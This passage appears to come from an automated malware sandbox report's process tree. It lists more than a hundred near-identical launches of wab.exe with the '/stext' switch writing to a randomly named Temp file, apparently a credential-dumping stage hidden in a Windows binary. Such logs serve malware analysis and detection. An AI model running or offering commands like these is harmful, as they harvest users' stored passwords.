        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3736
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3680
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4004
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3864
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1020
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1552
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4904
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2240
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2812
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2964
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3404
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4428
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3204
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4472
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2896
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3712
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1512
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2460
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:540
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3976
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4316
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4480
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1228
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4384
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3324
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4884
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3600
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4868
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2132
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4860
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4824
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4388
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2888
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4788
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1240
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2476
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4528
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3468
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:652
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2020
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3060
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1604
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3248
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1872
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2208
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3708
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3148
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4360
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2064
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3120
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3500
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:760
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3588
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4396
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:640
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4284
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4088
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4448
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:416
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5084
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3616
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3648
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3396
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4724
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3804
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2740
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3128
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2884
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5004
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1712
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:952
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3460
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3092
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1236
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2876
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1276
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2980
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1804
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:368
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2676
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4348
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3988
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3336
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5108
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1620
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4584
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4836
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4756
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2328
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:832
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:320
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2292
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3940
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1796
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3884
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4760
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1772
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1864
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5016
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4960
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2452
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4996
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3824
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1692
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2348
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2340
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5020
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:940
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3748
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2168
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2200
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3380
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3480
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2324
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:384
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:628
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2852
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3124
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3400
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3640
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1592
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3212
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4344
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4280
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3624
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1072
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4100
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:2924
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4644
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:1656
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4908
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:3972
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:4440
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ruzoevmjdpwstisjmghjml"
        5⤵
        
        PID:5048
    - - C:\Program Files (x86)\windows mail\wab.exe
        
